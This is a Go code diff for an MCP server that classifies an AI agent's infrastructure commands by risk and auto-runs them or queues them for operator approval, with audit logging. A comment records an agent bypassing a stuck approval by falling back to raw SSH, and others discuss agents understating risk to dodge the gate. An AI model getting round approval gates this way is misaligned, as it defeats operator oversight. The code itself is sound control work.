// hosts relationship: source=host, target=lxc/vm. Look up the
|
||||
// source slug given the target.
|
||||
if err := pool.QueryRow(ctx, `
|
||||
SELECT e.slug FROM relationships r
|
||||
JOIN entities e ON e.id = r.source_id
|
||||
WHERE r.target_id = (SELECT id FROM entities WHERE slug = $1)
|
||||
AND r.type = 'hosts' AND r.valid_to IS NULL
|
||||
LIMIT 1`, entitySlug).Scan(&relHostSlug); err == nil && relHostSlug != "" {
|
||||
hostSlug = relHostSlug
|
||||
}
|
||||
var id uuid.UUID
|
||||
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", entitySlug).Scan(&id); err != nil {
|
||||
id = uuid.Nil
|
||||
}
|
||||
if hostSlug == "" {
|
||||
hostSlug = "hubris" // documented default Proxmox host when unset
|
||||
}
|
||||
if !strings.HasPrefix(hostSlug, "host:") {
|
||||
hostSlug = "host:" + hostSlug
|
||||
}
|
||||
return hostSlug
|
||||
return remote.ResolveProxmoxHostSlug(ctx, pool, id, hostAttr)
|
||||
}
|
||||
|
||||
// classifyAndGate is the shared classify→execute-or-queue path for every
|
||||
@@ -631,8 +690,156 @@ func resolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entitySlug, host
|
||||
// fleet's reverse proxy) executed instantly with no approval at all. Routing
|
||||
// every mutating path through the same classifier + approval-queue logic
|
||||
// closes that gap without special-casing each caller.
|
||||
// autoRun resolves a target, runs the command, and finalizes the execution
|
||||
// with full timing.
|
||||
//
|
||||
// The three auto-run windows (read-only, assent, destructive) each carried
|
||||
// their own copy of this logic, and none of them wrote duration_ms, started_at
|
||||
// or completed_at — so every auto-run execution landed in the ledger with no
|
||||
// timing at all, and the Ops "Duration" column was empty for exactly the
|
||||
// executions that run most often.
|
||||
func autoRun(ctx context.Context, pool *db.Pool, id uuid.UUID, targetSlug, command string) (string, error) {
|
||||
startedAt := time.Now()
|
||||
if _, err := pool.Exec(ctx,
|
||||
`UPDATE executions SET status='running', started_at=$2 WHERE entity_id=$1`,
|
||||
id, startedAt); err != nil {
|
||||
slog.Error("mcp: mark execution running", "error", err, "execution_id", id)
|
||||
}
|
||||
|
||||
finalize := func(status string, result []byte) {
|
||||
if _, err := pool.Exec(ctx,
|
||||
`UPDATE executions SET status=$2, result=$3::jsonb, duration_ms=$4,
|
||||
started_at=$5, completed_at=now()
|
||||
WHERE entity_id=$1`,
|
||||
id, status, result, int(time.Since(startedAt).Milliseconds()), startedAt); err != nil {
|
||||
slog.Error("mcp: finalize execution", "error", err, "execution_id", id)
|
||||
}
|
||||
}
|
||||
|
||||
host, user, wrap, err := resolveExecTarget(ctx, pool, targetSlug)
|
||||
if err != nil {
|
||||
finalize("failed", jsonErr("%s", err.Error()))
|
||||
return "", err
|
||||
}
|
||||
|
||||
var correlationID string
|
||||
if qerr := pool.QueryRow(ctx,
|
||||
`SELECT correlation_id FROM executions WHERE entity_id = $1`, id).Scan(&correlationID); qerr != nil {
|
||||
correlationID = ""
|
||||
}
|
||||
sink, flush := execlog.New(ctx, pool, id, correlationID)
|
||||
|
||||
out, err := sshExecStream(ctx, host, user, wrap(command), sink)
|
||||
flush()
|
||||
if err != nil {
|
||||
finalize("failed", jsonErr("%s: %s", err.Error(), out))
|
||||
return out, err
|
||||
}
|
||||
|
||||
finalize("completed", jsonOut(out))
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// autoRunAsync starts a command in a goroutine, marking it running and returning
|
||||
// immediately. The caller gets an execution_id to poll with get_execution_status.
|
||||
// Used for commands containing sleep/wait/poll loops that would exceed the MCP
|
||||
// client timeout (120s) — the execution continues server-side.
|
||||
func autoRunAsync(ctx context.Context, pool *db.Pool, id uuid.UUID, targetSlug, command string) {
|
||||
startedAt := time.Now()
|
||||
if _, err := pool.Exec(ctx,
|
||||
`UPDATE executions SET status='running', started_at=$2 WHERE entity_id=$1`,
|
||||
id, startedAt); err != nil {
|
||||
slog.Error("mcp: mark execution running (async)", "error", err, "execution_id", id)
|
||||
}
|
||||
|
||||
host, user, wrap, err := resolveExecTarget(ctx, pool, targetSlug)
|
||||
if err != nil {
|
||||
pool.Exec(ctx,
|
||||
`UPDATE executions SET status='failed', result=$2::jsonb, duration_ms=$3, completed_at=now() WHERE entity_id=$1`,
|
||||
id, jsonErr("%s", err.Error()), int(time.Since(startedAt).Milliseconds()))
|
||||
slog.Error("mcp: async run resolve target", "error", err, "execution_id", id, "target", targetSlug)
|
||||
return
|
||||
}
|
||||
|
||||
var correlationID string
|
||||
if qerr := pool.QueryRow(ctx,
|
||||
`SELECT correlation_id FROM executions WHERE entity_id = $1`, id).Scan(&correlationID); qerr != nil {
|
||||
correlationID = ""
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
slog.Error("mcp: async run panic", "panic", r, "execution_id", id)
|
||||
pool.Exec(context.Background(),
|
||||
`UPDATE executions SET status='failed', result=$2::jsonb, duration_ms=$3, completed_at=now() WHERE entity_id=$1`,
|
||||
id, jsonErr("panic: %v", r), int(time.Since(startedAt).Milliseconds()))
|
||||
}
|
||||
}()
|
||||
|
||||
sink, flush := execlog.New(context.Background(), pool, id, correlationID)
|
||||
out, execErr := sshExecStream(context.Background(), host, user, wrap(command), sink)
|
||||
flush()
|
||||
if execErr != nil {
|
||||
pool.Exec(context.Background(),
|
||||
`UPDATE executions SET status='failed', result=$2::jsonb, duration_ms=$3, completed_at=now() WHERE entity_id=$1`,
|
||||
id, jsonErr("%s: %s", execErr.Error(), out), int(time.Since(startedAt).Milliseconds()))
|
||||
slog.Error("mcp: async run failed", "error", execErr, "execution_id", id, "output", out)
|
||||
} else {
|
||||
pool.Exec(context.Background(),
|
||||
`UPDATE executions SET status='completed', result=$2::jsonb, duration_ms=$3, completed_at=now() WHERE entity_id=$1`,
|
||||
id, jsonOut(out), int(time.Since(startedAt).Milliseconds()))
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// isLongRunningCommand detects shell commands containing sleep, wait, or poll
|
||||
// loops that indicate the command will exceed the MCP client timeout (120s).
|
||||
// These commands should use autoRunAsync to avoid the client timing out while
|
||||
// the command continues server-side.
|
||||
func isLongRunningCommand(cmd string) bool {
|
||||
cmd = strings.TrimSpace(cmd)
|
||||
|
||||
// sleep with duration — `sleep 30`, `sleep 1m`, etc.
|
||||
if sleepRe.MatchString(cmd) {
|
||||
return true
|
||||
}
|
||||
|
||||
// while/shell poll loops with sleep: `while ...; do ... sleep; done`
|
||||
if pollRe.MatchString(cmd) {
|
||||
return true
|
||||
}
|
||||
|
||||
// standalone wait command
|
||||
if waitRe.MatchString(cmd) {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
var (
|
||||
sleepRe = regexp.MustCompile(`\bsleep\s+\d`)
|
||||
pollRe = regexp.MustCompile(`\bwhile\b.*\bsleep\b`)
|
||||
waitRe = regexp.MustCompile(`\bwait\s+\d|[&;]\s*wait\b`)
|
||||
)
|
||||
|
||||
func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.UUID, targetSlug, command, purpose, declaredRisk, sessionID string) *mcp.CallToolResult {
|
||||
riskClass := policy.ClassifyCommand(command, declaredRisk)
|
||||
|
||||
// Transport-aware escalation: read-only commands on LXC targets that
|
||||
// touch config paths (/opt/, /etc/) escalate to config_mutation.
|
||||
// The classifier only scores the command text, not the transport layer
|
||||
// — SSH-ing into a container to read /opt/ is riskier than running
|
||||
// the same command locally on the Proxmox host via pct exec.
|
||||
// Caught live: "cat /etc/hostname" on lxc:dns queued as config_mutation
|
||||
// while "pct exec 107 -- cat /etc/hostname" on host:hubris auto-ran.
|
||||
if riskClass == policy.RiskReadOnly && strings.HasPrefix(targetSlug, "lxc:") {
|
||||
if strings.Contains(command, "/opt/") || strings.Contains(command, "/etc/") || strings.Contains(command, "/var/lib/") {
|
||||
riskClass = policy.RiskConfigMutation
|
||||
}
|
||||
}
|
||||
|
||||
runParams, _ := json.Marshal(map[string]string{"command": command, "purpose": purpose})
|
||||
actionCol := "run:" + string(runParams)
|
||||
|
||||
@@ -650,6 +857,57 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
return textResult("No plan for this session. Call set_goal then propose_plan before run — even read-only tasks require a one-step plan. A one-step plan (\"Inspect X, report, write back\") is fine for trivial questions; the gate is about ordering, not approval. Read-only commands still auto-execute once a plan exists.")
|
||||
}
|
||||
|
||||
// Target validation: host-only commands (qm, pct, pvesh, iptables) must
|
||||
// not be dispatched against lxc:/vm: targets — those aren't Proxmox hosts
|
||||
// and don't have these tools. Caught live 2026-08-04: the agent ran
|
||||
// `qm stop 100` against lxc:dns, wasting a turn.
|
||||
|
||||
// Command syntax validation: catch LLM-generated bash bugs before they
|
||||
// hit the shell. The model sometimes inserts literal \n between commands
|
||||
// or puts spaces inside flags — these always fail, so reject early.
|
||||
if syntaxErr := validateCommandSyntax(command); syntaxErr != "" {
|
||||
return textResult(syntaxErr)
|
||||
}
|
||||
|
||||
if cmdPrefix, hostOnly := hostOnlyCommand(command); hostOnly && !strings.HasPrefix(targetSlug, "host:") {
|
||||
hostSuggestion := resolveProxmoxHostSlug(ctx, pool, targetSlug, "")
|
||||
if hostSuggestion == "" {
|
||||
hostSuggestion = "host:hubris or host:strong"
|
||||
}
|
||||
return textResult(fmt.Sprintf("Cannot run %q on %s — %s is a Proxmox host command. Use target %s instead.",
|
||||
cmdPrefix, targetSlug, cmdPrefix, hostSuggestion))
|
||||
}
|
||||
|
||||
// systemctl and docker work on hosts and LXCs, but not VMs.
|
||||
if cmdPrefix, hostLxc := hostLxcCommand(command); hostLxc {
|
||||
if !strings.HasPrefix(targetSlug, "host:") && !strings.HasPrefix(targetSlug, "lxc:") {
|
||||
return textResult(fmt.Sprintf("Cannot run %q on %s — %s only works on host:* or lxc:* targets.",
|
||||
cmdPrefix, targetSlug, cmdPrefix))
|
||||
}
|
||||
}
|
||||
|
||||
// VM transport pre-flight: qm guest exec requires the QEMU guest agent
|
||||
// to be running inside the VM. If it's not, the execution would queue
|
||||
// for approval and never execute — the agent has no way to learn it's
|
||||
// stuck (spotted live 2026-08-05: vm:zimaos had qemu_guest_agent=not_running,
|
||||
// the run queued forever, and the agent fell back to unsafe raw SSH).
|
||||
if strings.HasPrefix(targetSlug, "vm:") {
|
||||
var rawAttrs []byte
|
||||
if err := pool.QueryRow(ctx, `SELECT attributes FROM entities WHERE id = $1`, targetID).Scan(&rawAttrs); err == nil {
|
||||
var attrs map[string]any
|
||||
if json.Unmarshal(rawAttrs, &attrs) == nil {
|
||||
if qga, ok := attrs["qemu_guest_agent"]; ok {
|
||||
qgaStr, _ := qga.(string)
|
||||
if qgaStr == "not_running" || qgaStr == "" {
|
||||
return textResult(fmt.Sprintf(
|
||||
"run on %s blocked: QEMU guest agent is not running (%s). qm guest exec cannot reach this VM. Start the agent inside the guest first (e.g. via SSH/systemctl start qemu-guest-agent), then re-run. If the agent is running but the entity attribute is stale, update it with update_entity_attributes(slug=%s, attributes={\"qemu_guest_agent\":\"running\"}).",
|
||||
targetSlug, qgaStr, targetSlug))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Dedup: an identical pending command (same target, command, and
|
||||
// purpose) blocks a re-request — stops a tool-calling loop from queuing
|
||||
// the same approval repeatedly.
|
||||
@@ -686,7 +944,20 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
}
|
||||
|
||||
id, _ := uuid.NewV7()
|
||||
correlationID := uuid.New().String()
|
||||
// Correlate the execution to the chat session that asked for it. This was
|
||||
// a fresh random UUID per execution, which correlated nothing — every row
|
||||
// had a unique value, so the correlation_id column and the
|
||||
// ?correlation_id= filter could only ever match one execution.
|
||||
//
|
||||
// Using the session id makes the field mean what it says ("what did this
|
||||
// session do?") and is what lets the chat tail live output: execution
|
||||
// events carry correlation_id, so the UI can match them to the session on
|
||||
// screen without a lookup. Falls back to a random id when there is no
|
||||
// session to scope to, keeping the column non-empty.
|
||||
correlationID := sessionID
|
||||
if correlationID == "" || correlationID == "ephemeral" {
|
||||
correlationID = uuid.New().String()
|
||||
}
|
||||
execName := "run on " + targetSlug + " (" + id.String() + ")"
|
||||
execSlug := "exec:" + targetSlug + ":" + id.String()
|
||||
if _, err := pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'execution', $3, '{}')`,
|
||||
@@ -711,21 +982,79 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
SELECT 1 FROM relationships
|
||||
WHERE source_id = t.id AND target_id = $1 AND type = 'involves' AND valid_to IS NULL)`,
|
||||
id, "task:"+sessionID)
|
||||
// Link execution to session for auto-continuation (nomos_plan_executions
|
||||
// was always empty — executions were never traceable back to sessions).
|
||||
if sid, serr := uuid.Parse(sessionID); serr == nil {
|
||||
pool.Exec(ctx, `
|
||||
INSERT INTO nomos_plan_executions (execution_id, session_id)
|
||||
VALUES ($1, $2) ON CONFLICT (execution_id) DO NOTHING`, id, sid)
|
||||
}
|
||||
}
|
||||
|
||||
if riskClass == policy.RiskReadOnly {
|
||||
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
|
||||
if rerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
|
||||
return textResult(fmt.Sprintf("resolve target: %v", rerr))
|
||||
// Auto-classify: write the classification decision to the classifications
|
||||
// table (was always empty — 0 rows despite 1,884 executions). The route
|
||||
// matches the auto-run vs queue-for-approval decision below.
|
||||
classRoute := "escalate"
|
||||
if riskClass == policy.RiskReadOnly || riskClass == policy.RiskReversibleLow {
|
||||
classRoute = "auto-act"
|
||||
} else if riskClass == policy.RiskConfigMutation && assentWindowActive(ctx, pool, agentID, sessionID) {
|
||||
classRoute = "auto-act"
|
||||
} else if riskClass == policy.RiskDestructive && destructiveWindowActive(ctx, pool, agentID, targetSlug, sessionID) {
|
||||
classRoute = "auto-act"
|
||||
}
|
||||
classReason, _ := json.Marshal(map[string]string{
|
||||
"command": command, "purpose": purpose, "target": targetSlug, "declared_risk": declaredRisk,
|
||||
})
|
||||
classID, _ := uuid.NewV7()
|
||||
pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'classification', $3, '{}')`,
|
||||
classID, "classification:"+classID.String(), "classification for "+execSlug)
|
||||
pool.Exec(ctx, `INSERT INTO classifications (entity_id, action, risk_class, route, reasoning, correlation_id)
|
||||
VALUES ($1, $2, $3, $4, $5, $6)`,
|
||||
classID, actionCol, riskClass, classRoute, classReason, correlationID)
|
||||
// Link classification to execution.
|
||||
pool.Exec(ctx, `UPDATE executions SET classification_id = $2 WHERE entity_id = $1`, id, classID)
|
||||
|
||||
// Audit: record the execution creation with session_id for traceability.
|
||||
// Every run call, whether auto-run or queued-for-approval, gets an audit
|
||||
// entry so the agent's activity is traceable back to the originating session.
|
||||
var auditSessionID *uuid.UUID
|
||||
if sessionID != "" && sessionID != "ephemeral" {
|
||||
if sid, serr := uuid.Parse(sessionID); serr == nil {
|
||||
auditSessionID = &sid
|
||||
}
|
||||
out, xerr := sshExec(ctx, host, user, wrap(command))
|
||||
}
|
||||
_ = observability.Audit(ctx, sqlcgen.New(pool), "agent", "nomos", "run",
|
||||
&id, "POST", "/mcp", correlationID, auditSessionID,
|
||||
map[string]any{"command": command, "target": targetSlug, "risk_class": riskClass, "purpose": purpose})
|
||||
|
||||
// read_only and reversible_low both run unattended, as seeds/policy.yaml
|
||||
// and .agents/OIKOS.md declare ("reversible_low — restart, cache clear,
|
||||
// sync pull. Unattended + ledger.").
|
||||
//
|
||||
// reversible_low had no branch here, so it fell through to the gate. That
|
||||
// looked stricter but was actually perverse: computeCommandRisk never
|
||||
// returns reversible_low — the class can ONLY arise when the agent
|
||||
// declares it on a command the classifier already scored read_only
|
||||
// (ClassifyCommand keeps the higher of the two). So an agent that
|
||||
// honestly flagged "this restarts something" got gated, while the same
|
||||
// command with no declaration auto-ran. That penalised candor and gave
|
||||
// the agent a reason to stay quiet.
|
||||
//
|
||||
// Auto-running it is no more permissive than the read_only branch above,
|
||||
// because read_only is the only computed class it can accompany. An
|
||||
// agent still cannot talk a command DOWN: declaring reversible_low on
|
||||
// something computed as config_mutation keeps config_mutation.
|
||||
if riskClass == policy.RiskReadOnly || riskClass == policy.RiskReversibleLow {
|
||||
if isLongRunningCommand(command) {
|
||||
autoRunAsync(ctx, pool, id, targetSlug, command)
|
||||
return textResult(fmt.Sprintf("run on %s (%s, async): started — execution %s. Poll with get_execution_status(%s) for result.",
|
||||
targetSlug, riskClass, id, id))
|
||||
}
|
||||
out, xerr := autoRun(ctx, pool, id, targetSlug, command)
|
||||
if xerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
|
||||
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
||||
}
|
||||
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
|
||||
return textResult(fmt.Sprintf("run on %s (read_only, auto): %s", targetSlug, out))
|
||||
return textResult(fmt.Sprintf("run on %s (%s, auto): %s", targetSlug, riskClass, out))
|
||||
}
|
||||
|
||||
// Assent window: if the operator recently approved a plan in this
|
||||
@@ -739,17 +1068,16 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
// consent. The assent window, opened only on operator approval, is the
|
||||
// sole gate for config_mutation auto-run.)
|
||||
if riskClass == policy.RiskConfigMutation && assentWindowActive(ctx, pool, agentID, sessionID) {
|
||||
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
|
||||
if rerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
|
||||
return textResult(fmt.Sprintf("resolve target: %v", rerr))
|
||||
if isLongRunningCommand(command) {
|
||||
autoRunAsync(ctx, pool, id, targetSlug, command)
|
||||
slog.Info("mcp: run async via assent window", "target", targetSlug, "execution_id", id)
|
||||
return textResult(fmt.Sprintf("run on %s (config_mutation, async via assent window): started — execution %s. Poll with get_execution_status(%s) for result.",
|
||||
targetSlug, id, id))
|
||||
}
|
||||
out, xerr := sshExec(ctx, host, user, wrap(command))
|
||||
out, xerr := autoRun(ctx, pool, id, targetSlug, command)
|
||||
if xerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
|
||||
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
||||
}
|
||||
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
|
||||
slog.Info("mcp: run auto-executed via assent window", "target", targetSlug, "execution_id", id)
|
||||
return textResult(fmt.Sprintf("run on %s (config_mutation, auto via assent window): %s", targetSlug, out))
|
||||
}
|
||||
@@ -761,23 +1089,23 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
// operator isn't asked to re-type "I confirm" for every single command
|
||||
// against the thing they just confirmed.
|
||||
if riskClass == policy.RiskDestructive && destructiveWindowActive(ctx, pool, agentID, targetSlug, sessionID) {
|
||||
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
|
||||
if rerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
|
||||
return textResult(fmt.Sprintf("resolve target: %v", rerr))
|
||||
if isLongRunningCommand(command) {
|
||||
autoRunAsync(ctx, pool, id, targetSlug, command)
|
||||
slog.Info("mcp: run async via destructive window", "target", targetSlug, "execution_id", id)
|
||||
return textResult(fmt.Sprintf("run on %s (destructive, async via confirmed-target window): started — execution %s. Poll with get_execution_status(%s) for result.",
|
||||
targetSlug, id, id))
|
||||
}
|
||||
out, xerr := sshExec(ctx, host, user, wrap(command))
|
||||
out, xerr := autoRun(ctx, pool, id, targetSlug, command)
|
||||
if xerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
|
||||
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
||||
}
|
||||
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
|
||||
slog.Info("mcp: run auto-executed via destructive window", "target", targetSlug, "execution_id", id)
|
||||
return textResult(fmt.Sprintf("run on %s (destructive, auto via confirmed-target window): %s", targetSlug, out))
|
||||
}
|
||||
|
||||
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class=$2 WHERE entity_id=$1`, id, riskClass)
|
||||
createApproval(ctx, pool, id, targetID, "run", string(runParams), riskClass)
|
||||
markSessionAwaitingApproval(ctx, pool, sessionID)
|
||||
confirmNote := ""
|
||||
if riskClass == policy.RiskDestructive {
|
||||
confirmNote = " This is classified DESTRUCTIVE — flag that clearly to the operator; it needs explicit confirmation, not just a casual \"go ahead\"."
|
||||
@@ -833,22 +1161,112 @@ func executeApprovedViaAPI(ctx context.Context, execID uuid.UUID, targetSlug, ac
|
||||
// for config_mutation auto-run now. See sessionHasPlan for the plan-existence
|
||||
// check used by the P1 plan-first gate.
|
||||
|
||||
// hostOnlyCommands maps command prefixes that are only valid on Proxmox host
|
||||
// targets (not LXCs or VMs). Running these against an lxc: or vm: target
|
||||
// always fails with "command not found" and wastes a turn.
|
||||
var hostOnlyCommands = map[string]bool{
|
||||
"qm": true,
|
||||
"pct": true,
|
||||
"pvesh": true,
|
||||
"iptables": true,
|
||||
}
|
||||
|
||||
// hostLxcCommands maps command prefixes valid on host:* and lxc:* but not vm:*.
|
||||
var hostLxcCommands = map[string]bool{
|
||||
"systemctl": true,
|
||||
"docker": true,
|
||||
}
|
||||
|
||||
// hostOnlyCommand checks whether the leading word of cmd is a host-only
|
||||
// command. Returns the command word and true if the command can only run on
|
||||
// a host: target.
|
||||
func hostOnlyCommand(cmd string) (string, bool) {
|
||||
trimmed := strings.TrimSpace(cmd)
|
||||
parts := strings.Fields(trimmed)
|
||||
if len(parts) == 0 {
|
||||
return "", false
|
||||
}
|
||||
first := parts[0]
|
||||
// Check for shell wrappers: bash -c 'actual_cmd', sh -c 'actual_cmd'
|
||||
if (first == "bash" || first == "sh") && len(parts) >= 3 && parts[1] == "-c" {
|
||||
// The actual command is inside the -c argument; extract the first word.
|
||||
// This handles `bash -c 'qm stop 100'` but not deeply nested wrappers.
|
||||
actual := strings.Trim(strings.Join(parts[2:], " "), "'\"")
|
||||
if inner := strings.Fields(actual); len(inner) > 0 {
|
||||
first = inner[0]
|
||||
}
|
||||
}
|
||||
// Strip path: /usr/sbin/qm → qm
|
||||
if idx := strings.LastIndexByte(first, '/'); idx >= 0 {
|
||||
first = first[idx+1:]
|
||||
}
|
||||
return first, hostOnlyCommands[first]
|
||||
}
|
||||
|
||||
// hostLxcCommand checks whether the leading word of cmd is a command valid on
|
||||
// host:* and lxc:* targets but not vm:*. Returns the command word and true if
|
||||
// the command is restricted to host/lxc.
|
||||
func hostLxcCommand(cmd string) (string, bool) {
|
||||
trimmed := strings.TrimSpace(cmd)
|
||||
parts := strings.Fields(trimmed)
|
||||
if len(parts) == 0 {
|
||||
return "", false
|
||||
}
|
||||
first := parts[0]
|
||||
if idx := strings.LastIndexByte(first, '/'); idx >= 0 {
|
||||
first = first[idx+1:]
|
||||
}
|
||||
return first, hostLxcCommands[first]
|
||||
}
|
||||
|
||||
// validateCommandSyntax checks for common LLM-generated bash errors that always
|
||||
// fail at the shell. Returns an error message or "" if the command looks valid.
|
||||
func validateCommandSyntax(cmd string) string {
|
||||
// Reject literal \n (the LLM sometimes writes `echo "---" && \n curl ...`
|
||||
// — the \n is literal in the command string, not an actual newline).
|
||||
if strings.Contains(cmd, "\\n") {
|
||||
return fmt.Sprintf("Command contains literal '\\n' — use ';' or '&&' between commands, not a literal backslash-n. Command: %q", cmd)
|
||||
}
|
||||
|
||||
// Reject `&& \n` patterns (the LLM writes `cmd1 && \n cmd2` — the \n is
|
||||
// a literal newline that bash interprets as a command separator, but the
|
||||
// leading backslash makes it a syntax error).
|
||||
if andBackslashRe.MatchString(cmd) {
|
||||
return fmt.Sprintf("Command contains '&&' followed by a literal backslash-newline — remove the backslash or use ';' instead. Command: %q", cmd)
|
||||
}
|
||||
|
||||
// Reject `\` at end of command with no continuation (last line ends with
|
||||
// backslash but there's nothing after it).
|
||||
trimmed := strings.TrimSpace(cmd)
|
||||
if strings.HasSuffix(trimmed, "\\") {
|
||||
return fmt.Sprintf("Command ends with a backslash but has nothing after it to continue. Remove the trailing '\\'. Command: %q", cmd)
|
||||
}
|
||||
|
||||
// Warn on common flag typos: `head - n`, `grep - i`, `tail - n`, etc.
|
||||
// These are space-between-flag-and-value errors the LLM produces.
|
||||
if flagSpaceRe.MatchString(cmd) {
|
||||
return fmt.Sprintf("Command has a space between a flag and its value (e.g. 'head - n' instead of 'head -n'). Remove the space. Command: %q", cmd)
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
var andBackslashRe = regexp.MustCompile(`&&\s*\\\s*\n`)
|
||||
var flagSpaceRe = regexp.MustCompile(`\b(head|tail|grep|sed|awk|sort|uniq|wc)\s+(-\w)\s+\w`)
|
||||
|
||||
// sessionHasPlan reports whether this nomos session has any plan step on
|
||||
// record (any generation, any status). Used by the P1 plan-first gate in
|
||||
// classifyAndGate to refuse `run` before `propose_plan` has been called.
|
||||
// A `replaced` step (from a prior plan generation that was superseded by a
|
||||
// follow-up sub-task — see store.reopenSession) still counts: it proves the
|
||||
// agent once framed a plan for this session, and the reopen path guarantees a
|
||||
// fresh `propose_plan` will run before the next `run` anyway. Fails closed
|
||||
// (returns true) when the query errors so a transient DB issue doesn't block
|
||||
// an otherwise-valid run.
|
||||
// record that isn't `replaced`. Replaced steps (from session reopen via
|
||||
// store.reopenSession) don't count — the agent must propose fresh plan before
|
||||
// any `run`. Fails closed (returns true) when the query errors so a transient
|
||||
// DB issue doesn't block an otherwise-valid run.
|
||||
func sessionHasPlan(ctx context.Context, pool *db.Pool, sessionID string) bool {
|
||||
if sessionID == "" {
|
||||
return true // no session → no gate (direct MCP call from a script)
|
||||
}
|
||||
var count int
|
||||
if err := pool.QueryRow(ctx,
|
||||
`SELECT COUNT(*) FROM session_plan_steps WHERE session_id = $1`,
|
||||
`SELECT COUNT(*) FROM session_plan_steps
|
||||
WHERE session_id = $1 AND status <> 'replaced'`,
|
||||
sessionID).Scan(&count); err != nil {
|
||||
return true // fail open on DB error — don't block work over a flake
|
||||
}
|
||||
@@ -1065,6 +1483,49 @@ func createApproval(ctx context.Context, pool *db.Pool, execID, targetID uuid.UU
|
||||
map[string]any{"action": action, "params": params, "risk_class": riskClass})
|
||||
}
|
||||
|
||||
// markSessionAwaitingApproval flips a session to awaiting_input the moment
|
||||
// one of its gated executions is queued for approval — mirrors what
|
||||
// askOperator does for session_questions (cmd/nomos/store.go's askOperator),
|
||||
// so a pending execution approval reads as "needs input" to both the
|
||||
// frontend's Overview board (which only checks agent_sessions.status) and
|
||||
// the idle-sweep safety net (staleGoalSessions, cmd/nomos/store.go, which
|
||||
// already excludes awaiting_input from its stale-task sweep). Before this, a
|
||||
// task blocked on a config_mutation/destructive approval just sat at
|
||||
// 'executing' — indistinguishable from a task still genuinely working — so
|
||||
// the idle sweep would eventually nudge it and then auto-close it with
|
||||
// outcome=partial while the approval was still sitting there undecided.
|
||||
// The httpapi package's DecideApproval flips the session back out once the
|
||||
// approval is approved/denied/revoked (internal/httpapi/approvals.go).
|
||||
//
|
||||
// No-op for sessionID=="" (a direct MCP call with no nomos session) or a
|
||||
// session that's already terminal/already awaiting_input — the status IN
|
||||
// guard makes this safe to call unconditionally from classifyAndGate.
|
||||
func markSessionAwaitingApproval(ctx context.Context, pool *db.Pool, sessionID string) {
|
||||
if sessionID == "" || sessionID == "ephemeral" {
|
||||
return
|
||||
}
|
||||
tag, err := pool.Exec(ctx, `
|
||||
UPDATE agent_sessions SET status = 'awaiting_input', last_active_at = now()
|
||||
WHERE id = $1 AND status IN ('active', 'planning', 'executing')`, sessionID)
|
||||
if err != nil || tag.RowsAffected() == 0 {
|
||||
return
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(pool), "task.status", sessionTaskEntity(ctx, pool, sessionID),
|
||||
"info", "nomos", sessionID, map[string]any{"status": "awaiting_input", "reason": "execution_pending_approval"})
|
||||
}
|
||||
|
||||
// sessionTaskEntity resolves a session's own task-entity id, for anchoring
|
||||
// events to the right node in the graph — mirrors cmd/nomos/store.go's
|
||||
// (unexported) taskEntityPtr; duplicated here since that's a different
|
||||
// package's private method.
|
||||
func sessionTaskEntity(ctx context.Context, pool *db.Pool, sessionID string) *uuid.UUID {
|
||||
var id uuid.UUID
|
||||
if err := pool.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, sessionID).Scan(&id); err != nil || id == uuid.Nil {
|
||||
return nil
|
||||
}
|
||||
return &id
|
||||
}
|
||||
|
||||
// inspectPathAcrossTargets is the bulk fact-gathering helper behind the
|
||||
// inspect_path MCP tool (plans/2026-07-18-session-review-three-sessions.md
|
||||
